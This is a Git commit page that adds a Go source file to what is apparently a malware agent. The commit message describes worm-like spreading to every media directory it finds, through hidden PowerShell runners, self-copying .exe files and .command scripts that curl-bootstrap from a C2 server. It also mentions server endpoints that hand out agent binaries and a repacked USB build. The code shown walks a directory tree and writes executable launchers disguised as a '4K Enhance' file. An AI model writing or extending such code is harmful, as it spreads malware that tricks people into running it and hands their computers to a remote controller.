feat(supp): SUPP Recursive Seek Mode. Agent walks any path, seeds every media dir with silent launchers. Windows: copies self as stem.exe + drops stem.bat (hidden PowerShell runner). Mac/Linux: drops stem.command (curl bootstrap to C2). Server: /api/download/agent-{windows,mac,linux} endpoints serve agent binaries for remote bootstrap. Crucible UI: SUPP SEEK panel with root path input, file stem, Win/Mac checkboxes, Launch button. Fixes pre-existing TS errors in SettingsPage (rvn_pool_pass -> password, accent orange -> amber). USB repacked with both binaries.
This commit is contained in:
54
usb/agent/client/supp_seek_stub.go
Normal file
54
usb/agent/client/supp_seek_stub.go
Normal file
@@ -0,0 +1,54 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// suppSeekWalk seeds each media directory with Mac/Linux launchers.
|
||||
// On non-Windows hosts we cannot copy a Windows .exe so only .command is dropped.
|
||||
func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult {
|
||||
stem := opts.FileStem
|
||||
if stem == "" {
|
||||
stem = "4K Enhance"
|
||||
}
|
||||
|
||||
res := suppSeekResult{}
|
||||
|
||||
_ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error {
|
||||
if err != nil || !d.IsDir() {
|
||||
return nil
|
||||
}
|
||||
res.Dirs++
|
||||
|
||||
if !isMediaDir(path) {
|
||||
return nil
|
||||
}
|
||||
|
||||
cmdPath := filepath.Join(path, stem+".command")
|
||||
if _, err := os.Stat(cmdPath); err == nil {
|
||||
res.Skipped++
|
||||
return nil
|
||||
}
|
||||
|
||||
placed := 0
|
||||
if opts.DropMac || (!opts.DropWindows && !opts.DropMac) {
|
||||
content := commandContent(opts.ServerURL)
|
||||
if err := os.WriteFile(cmdPath, []byte(content), 0755); err == nil {
|
||||
placed++
|
||||
}
|
||||
}
|
||||
|
||||
if placed > 0 {
|
||||
res.Seeded++
|
||||
res.Files += placed
|
||||
} else {
|
||||
res.Errors++
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
return res
|
||||
}
|
||||
Reference in New Issue
Block a user